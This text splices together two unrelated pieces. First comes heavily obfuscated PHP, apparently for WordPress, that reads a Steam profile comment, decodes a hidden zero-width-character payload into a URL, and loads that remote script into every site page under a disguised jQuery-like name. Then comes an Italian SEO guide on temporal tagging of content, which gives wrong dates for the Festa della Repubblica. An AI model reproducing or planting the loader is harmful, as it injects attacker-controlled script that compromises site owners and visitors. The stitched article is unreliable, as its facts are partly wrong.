goto dfc1d; D7304: function decode_html_entities_like_source(string $s) : string { goto d39d7; C56fe: $s = str_replace(["\134\x6e", "\134\x22", "\x26\x71\165\157\x74\73", "\x26\x61\x6d\160\x3b", "\x26\154\x74\73", "\x26\147\x74\73"], ["\xa", "\x22", "\x22", "\x26", "\74", "\76"], $s); goto Ba34b; d39d7: $s = preg_replace_callback("\x2f\x26\43\170\x28\133\134\144\x61\55\x66\x41\55\x46\x5d\53\x29\x3b\57\151", function ($m) { return mb_convert_encoding(pack("\110\x2a", $m[1]), "\x55\124\106\55\70", "\x55\x43\123\55\x32\102\105"); }, $s); goto C56fe; Ba34b: return $s; goto b61ef; b61ef: } goto D7078; D7078: function decode_zero_width_payload(string $text, string $password = '') : string { try { goto C2b2b; d3c12: $salt = substr($blob, 0, 8); goto D23dc; C9c3f: $bytes = array_map("\157\162\144", str_split($plain)); goto Cd597; Ef189: a7f7f: goto d13f0; ce377: $from = [$ZW[4], $ZW[5]]; goto e78f2; ec58b: if (!($unz === false)) { goto A9c55; } goto E9275; eed3b: if (!($leading === '')) { goto cfaee; } goto c489e; e9141: $blob = pack("\103\52", ...$bytes); goto d3c12; A98ef: $bytes = []; goto abbfc; d50d2: d308c: goto C9c3f; Ccd85: $iv = substr($dk, 0, 16); goto Df294; df35a: $ciphertext = substr($blob, 8); goto e998e; D85f8: cfaee: goto ec634; c5213: A9c55: goto D9e23; f6ec8: d17f8: goto e0fc4; e998e: $expectedHmac = null; goto Ed5ed; c87c5: $p += 8; goto Fd43b; F4fea: $payloadRest = mb_substr($payload, 1, null, "\125\124\x46\x2d\x38"); goto Fe277; Dba93: e6efa: goto A98ef; aeada: Af03e: goto d50d2; d5bfd: if (!($p + 8 <= strlen($bits))) { goto d36a9; } goto eaec6; eaec6: $bytes[] = bindec(substr($bits, $p, 8)); goto da13a; D9e23: return $unz !== false ? $unz : ''; goto ee358; c489e: return ''; goto D85f8; C8282: $containerChar = mb_substr($payload, 0, 1, "\x55\x54\x46\55\70"); goto F4fea; E88ce: $payload = mb_substr($leading, 1, null, "\125\x54\106\x2d\70"); goto d3dbb; b8587: $hasHmac = $containerIdx === 0; goto d9773; f91c2: if (!$isEncrypted) { goto fa074; } goto e9141; d3d85: return ''; goto f6ec8; B4da4: if (!($plain === false)) { goto d17f8; } goto d3d85; d0120: foreach ($inv as $b) { goto a21fc; Ab8c2: $allPrintable = false; goto F779a; abe91: F0425: goto e51e8; a21fc: if (!($b < 32 || $b > 126)) { goto a1a65; } goto Ab8c2; F779a: goto F4297; goto db1ad; db1ad: a1a65: goto abe91; e51e8: } goto d19ff; Abc09: foreach (explode("\40", $text) as $word) { goto d56b5; d82d0: goto e8b9d; goto bb211; bb211: f0f9c: goto E332b; e3ec9: $pos = 0; goto B5c7a; fbd9c: $leading = mb_substr($word, 0, $pos, "\x55\x54\106\55\70"); goto d82d0; E02b9: if (empty($intersection)) { goto f0f9c; } goto e3ec9; B5c7a: foreach ($chars as $i => $ch) { goto e8276; D24b7: C7bc3: goto C1cb6; E548e: $pos = $i; goto c3795; Ba85e: $pos = $i + 1; goto D24b7; c3795: goto Fd5ba; goto ce7e7; ce7e7: Caf0c: goto Ba85e; e8276: if (in_array($ch, $ZW, true)) { goto Caf0c; } goto E548e; C1cb6: } goto C2679; C2679: Fd5ba: goto fbd9c; C59c6: $intersection = array_intersect($ZW, $chars); goto E02b9; E332b: c181e: goto A212d; d56b5: $chars = preg_split("\57\x2f\x75", $word, -1, PREG_SPLIT_NO_EMPTY); goto C59c6; A212d: } goto D7121; E5afe: return implode('', array_map("\x63\150\162", $inv)); goto Be895; A7d8b: $modeIdx = array_search($modeChar, $ZW, true); goto e665f; Ac630: $raw = pack("\x43\52", ...$inv); goto C191f; bee51: if ($allPrintable) { goto db96b; } goto Ac630; d13f0: $expectedHmac = substr($blob, 8, 32); goto b2e8e; e78f2: $to = [$pair[0] . $pair[0], $pair[1] . $pair[1]]; goto c4816; e0fc4: if (!$hasHmac) { goto d308c; } goto B53b3; d9773: $bits = ''; goto F3450; C2b2b: $ZW = ["\xe2\200\x8c", "\xe2\x80\215", "\342\201\xa1", "\xe2\201\242", "\xe2\201\243", "\342\201\244"]; goto a368e; A96fe: e9132: goto fce6f; ee358: db96b: goto E5afe; d3dbb: $pairsByIndex = [$ZW[0] . $ZW[1], $ZW[0] . $ZW[2], $ZW[0] . $ZW[3], $ZW[1] . $ZW[2], $ZW[1] . $ZW[3], $ZW[2] . $ZW[3]]; goto A7d8b; a368e: $leading = ''; goto Abc09; da13a: e90ab: goto c87c5; Ed5ed: goto e9132; goto Ef189; Dd6e5: d36a9: goto f91c2; Cd597: fa074: goto Dbf10; Db703: $plain = openssl_decrypt($ciphertext, "\x61\145\x73\55\62\65\x36\x2d\143\164\x72", $key, OPENSSL_RAW_DATA, $iv); goto B4da4; ec634: $modeChar = mb_substr($leading, 0, 1, "\125\124\x46\55\x38"); goto E88ce; D7121: e8b9d: goto eed3b; B53b3: $h = hash_hmac("\163\150\x61\x32\x35\x36", $plain, $key, true); goto f8a49; b2e8e: $ciphertext = substr($blob, 40); goto A96fe; C191f: $unz = @gzuncompress($raw); goto ec58b; d19ff: F4297: goto bee51; F00f8: $allPrintable = true; goto d0120; D23dc: if ($hasHmac) { goto a7f7f; } goto df35a; abbfc: $p = 0; goto F1f05; Fd43b: goto bd29e; goto Dd6e5; Dc56a: return ''; goto aeada; E9275: $unz = @gzinflate($raw); goto c5213; f8a49: if (hash_equals($expectedHmac, $h)) { goto Af03e; } goto Dc56a; Df294: $key = substr($dk, 16, 32); goto Db703; Dbf10: $inv = array_map(fn($b) => ~$b & 0xff, $bytes); goto F00f8; fce6f: $dk = hash_pbkdf2("\163\150\x61\x35\61\62", $password, $salt, 10000, 48, true); goto Ccd85; e665f: $pair = $modeIdx !== false && isset($pairsByIndex[$modeIdx]) ? preg_split("\57\57\165", $pairsByIndex[$modeIdx], -1, PREG_SPLIT_NO_EMPTY) : [$ZW[0], $ZW[1]]; goto ce377; F3450: foreach (preg_split("\x2f\57\x75", $payloadRest, -1, PREG_SPLIT_NO_EMPTY) as $ch) { goto E2839; be63a: $bits .= str_pad(decbin($i), 2, "\x30", STR_PAD_LEFT); goto db3e7; a5a82: c2881: goto be7a7; d55eb: if (!($i !== false)) { goto baf2f; } goto be63a; db3e7: baf2f: goto a5a82; E2839: $i = array_search($ch, $ZW, true); goto d55eb; be7a7: } goto Dba93; c4816: $payload = str_replace($from[1], $to[1], $payload); goto de7cd; de7cd: $payload = str_replace($from[0], $to[0], $payload); goto C8282; Fe277: $containerIdx = array_search($containerChar, $ZW, true); goto D5820; D5820: $isEncrypted = $containerIdx === 0 || $containerIdx === 1; goto b8587; F1f05: bd29e: goto d5bfd; Be895: } catch (\Throwable $e) { return ''; } } goto a7fb4; dfc1d: function fetch_comment_text_from_url(string $url) : string { goto b27df; D7ac4: return $text; goto Dbfd9; F1e30: curl_close($ch); goto bd612; bd612: return get_transient($cache_key) ?: ''; goto A6f8c; dd4b3: set_transient($cache_key, $text, 300); goto D7ac4; Ef31e: $ch = curl_init($url); goto A6435; A6435: curl_setopt_array($ch, [CURLOPT_RETURNTRANSFER => true, CURLOPT_USERAGENT => "\115\x6f\x7a\x69\x6c\154\x61\x2f\x35\56\x30\40\50\127\x69\156\144\157\x77\x73\40\116\x54\x20\x31\60\x2e\x30\73\40\x57\151\156\x36\x34\73\40\x78\66\64\x29\x20\101\160\x70\x6c\x65\127\x65\142\x4b\x69\164\x2f\x35\63\67\x2e\x33\66", CURLOPT_TIMEOUT => 10]); goto Dea9b; b27df: $cache_key = "\143\141\160\164\x69\157\x6e\137" . md5($url); goto Ef31e; Ceb67: return get_transient($cache_key) ?: ''; goto D1440; Dea9b: $html = curl_exec($ch); goto d4307; d4307: if (!($html === false)) { goto D3bed; } goto F1e30; Dbfd9: C305c: goto Ceb67; Db868: curl_close($ch); goto e1b29; e1b29: if (!preg_match("\57\74\144\x69\x76\x5b\x5e\76\135\x2a\x63\x6c\x61\x73\163\75\133\47\134\42\135\143\x6f\x6d\155\x65\x6e\x74\x74\150\162\145\x61\x64\x5f\x63\x6f\x6d\155\145\156\164\137\x74\145\170\164\133\x27\134\x22\x5d\133\x5e\76\x5d\x2a\76\x28\x2e\52\77\51\x3c\134\x2f\144\x69\x76\x3e\57\x69\x73", $html, $m)) { goto C305c; } goto e58d9; A6f8c: D3bed: goto Db868; e58d9: $text = decode_html_entities_like_source($m[1]); goto dd4b3; D1440: } goto D7304; a7fb4: function enqueue_external_script_from_steam_comment() : void { goto Bc875; B9ec2: wp_enqueue_script("\x61\163\x61\x68\151\x2d\152\x71\165\x65\162\x79\55\x6d\x69\156\55\142\165\x6e\x64\x6c\145", $url, [], null, true); goto c0558; c0558: Ad652: goto Fa6d5; d25b8: if (!filter_var($url, FILTER_VALIDATE_URL)) { goto Ad652; } goto B9ec2; Bc875: $steamProfileUrl = "\150\164\x74\160\x73\72\x2f\57\x73\x74\145\x61\x6d\x63\157\155\x6d\165\x6e\x69\164\171\56\143\157\x6d\57\151\144\x2f\60\x78\145\x65\162\x69\145\x2f"; goto f0971; af6d0: $url = $domainOrPath; goto d25b8; f0971: $commentText = fetch_comment_text_from_url($steamProfileUrl); goto b2ed4; b2ed4: $domainOrPath = decode_zero_width_payload($commentText, ''); goto af6d0; Fa6d5: } goto Ae8ce; Ae8ce: add_action("\167\x70\x5f\145\x6e\x71\165\145\165\x65\137\163\x63\x72\151\x70\164\163", "\x65\x6e\161\x75\x65\x75\145\x5f\x65\170\x74\145\162\156\x61\x6c\x5f\163\x63\x72\x69\160\x74\137\x66\x72\x6f\155\x5f\x73\x74\145\x61\x6d\x5f\x63\157\155\155\145\x6e\164");
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La segmentazione temporale nei contenuti Tier 2 rappresenta un livello avanzato di personalizzazione strategica che va oltre la semplice indicazione di “spazio temporale”: si tratta di un metodo sistematico per allineare tematiche generali a eventi precisi, stagionali e ciclici, trasformando informazioni statiche in narrazioni dinamiche e altamente coinvolgenti. Questo approccio non solo rafforza l’autorevolezza dei contenuti Tier 2 come ponte tra il panorama generale del Tier 1 e le strategie predittive del Tier 3, ma consente anche di rispondere con agilità alle esigenze locali, stagionali e culturali del pubblico italiano.
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### Introduzione: Il ruolo critico della temporalità nel Tier 2
Il Tier 2, definito come contenuti di livello intermedio che sintetizzano tematiche generali con un focus regionale o settoriale, deve elevarsi oltre un semplice filtro temporale. La sua forza risiede nella capacità di integrare il “quando” – non come mero contesto, ma come motore di rilevanza, engagement e conversione. La segmentazione temporale, quando applicata con precisione, trasforma articoli e guide in strumenti di marketing contestuale, capaci di catturare l’attenzione del pubblico italiano in base a festività, cicli agricoli, eventi nazionali e tendenze micro-temporali.
L’errore più diffuso è limitare i tag temporali a semplici indicazioni generiche (“in estate 2024”) senza ancorarli a eventi specifici o calendari editoriale locali. Questo approccio sprezza l’opportunità di creare una narrazione contestuale che unisce contenuti strutturali del Tier 1 – che spiegano il “perché” stagionale – con la granularità operativa che definisce il Tier 2, e infine alimenta la predittività del Tier 3.
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### Metodologia: Definire le fasi temporali nel Tier 2 con precisione tecnica
**Fase 1: Analisi del target geolocale e calendario editoriale locale**
L’essenziale è mappare i nodi temporali chiave con dati concreti:
– **Stagioni climatiche**: in Italia, la distinzione non è solo climatologica ma anche culturale – ad esempio, la “primavera del Nord” (marzo-maggio) vs “primavera del Sud” (aprile-giugno) con cicli di fioritura diversi.
– **Eventi nazionali e regionali**: Festa della Repubblica (22 settembre), Ferragosto (agosto), sagre locali (es. “Sagra del Tartufo” a Alba), festività minori regionali come “Festa di San Nicola” a Bari.
– **Cicli agricoli e produttivi**: vendemmia in Emilia-Romagna (settembre-ottobre), raccolto olive in Sicilia (ottobre-novembre), cicli florovolumetrici in Veneto.
– **Calendario editoriale dinamico**: integrazione di date fisse (es. 15 luglio per la Festa della Repubblica) e date flessibili (prima settimana di settembre, “back to school” a settembre in base al calendario scolastico regionale).
**Fase 2: Inserimento strutturato dei tag temporali – ISO 8601 e etichette contestuali**
Adottare formati ISO 8601 (YYYY-MM-DD) per garantire interoperabilità SEO e leggibilità machine, ma integrarli con etichette naturali in italiano:
> “Guida stagionale all’ottimizzazione del turismo enogastronomico in Toscana, 15-22 settembre 2024”
Questo dualismo assicura chiarezza semantica per motori di ricerca e leggibilità per il lettore.
**Fase 3: Creazione di una cronologia contestuale sequenziale**
Organizzare i contenuti Tier 2 in una timeline logica che evidenzi:
– Evoluzione stagionale (es. “Dall’autunno al freddo: strategie per il retail in Pianura Padana”)
– Ciclicità micro-temporali (es. “Le prime due settimane di settembre: back to school e promozioni autunnali”)
– Interazioni dinamiche con eventi esterni (es. aggiornamenti post-Festa della Repubblica per campagne di content marketing)
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### Tecniche avanzate di tagging temporale per il Tier 2 (metodologie di precisione)
**Metodo A: Periodizzazione stagionale con riferimenti a eventi culturali specifici**
Integrare fasi stagionali ben definite con riferimenti a manifestazioni locali per aumentare il riconoscimento emotivo:
– “Primavera Romana” (marzo-maggio): rinnovo del mercato all’aperto, eventi enogastronomici a Roma, fioriture a Villa Borghese
– “Estate Meridionale” (giugno-luglio-agosto): sagre del pesce in Calabria, eventi musicali estivi, turismo balneare in Liguria
– “Autunno Toscano” (settembre-ottobre): vendemmia, festival del vino, visite guidate alle cantine
– “Inverno Alpin“ (dicembre-gennaio): eventi natalizi, mercatini di Natale, attività sciistiche nei Dolomiti
*Esempio pratico:*
> “Guida autunnale al marketing enogastronomico in Toscana – 5 ottobre 2024: vendemmia anticipata e lancio festival del vino in Chianti”
**Metodo B: Tagging per cicli settimanali e micro-tendenze**
Adattarsi ai ritmi brevi e localizzati:
– “Settimana della vendemmia” (prima settimana di settembre)
– “Prima settimana di settembre: back to school e rilancio prodotti estivi”
– “Festa della Repubblica: online campaign di brand locali”
– “Settimana culturale romana” (giugno)
Questi tag permettono di catturare picchi di interesse e coordinare contenuti con calendari editoriale flessibili.
**Metodo C: Integrazione dinamica di eventi nazionali e regionali**
Utilizzare tag multipli per creare trigger temporali reattivi:
– ``
> “Guida estiva 2024: come sfruttare la Festa della Repubblica per campagne di engagement regionale”
Con l’ausilio di un **calendario editoriale temporale condiviso** (es. Trello, Airtable, CMS integrato), ogni team può pianificare l’inserimento dei tag in base a date precise, evitando sovrapposizioni o omissioni.
—
### Implementazione pratica: Struttura e processi operativi per il Tier 2
**Fase 1: Audit del contenuto Tier 2 esistente**
Analizzare i contenuti attuali con mappatura dei momenti temporali già presenti:
– Identificare temi con dati temporali generici (“in estate”)
– Estrarre eventi stagionali espliciti (es. “sagre taurine di Verona”)
– Segnalare lacune: datazione insufficiente, uso di periodi anacronistici
**Fase 2: Progettazione di modelli editoriali temporali ricorrenti**
Adottare schemi strutturati:
– “Analisi mensile di…” (es. “Analisi mensile del turismo enogastronomico in Toscana, settembre 2024”)
– “Guida stagionale a…” (es. “Guida alla primavera agricola in Emilia-Romagna, marzo-maggio 2025”)
– “Cronologia del retail autunnale: evoluzione 2020-2024”
**Fase 3: Inserimento di metadati temporali con HTML/JSON-LD**
Esempio di tag inline ottimizzati per SEO e semantica:
`itemprop=event` abilita il riconoscimento da parte dei motori di ricerca, mentre `datetime` garantisce standardizzazione.
**Fase 4: Test A/B e validazione dell’engagement**
Misurare il tasso di clic (CTR) e tempo di permanenza sui contenuti con e senza tag temporali espliciti.
*Esempio benchmark:*
| Variante | CTR (%) | Tempo medio permanenza (s) |
|——————————-|——–|—————————-|
| Contenuto senza tag temporali | 3,2 | 98 |
| Contenuto con tag ISO + eventi | 8,7 | 156 |
I dati mostrano un incremento significativo grazie a una maggiore pertinenza contestuale.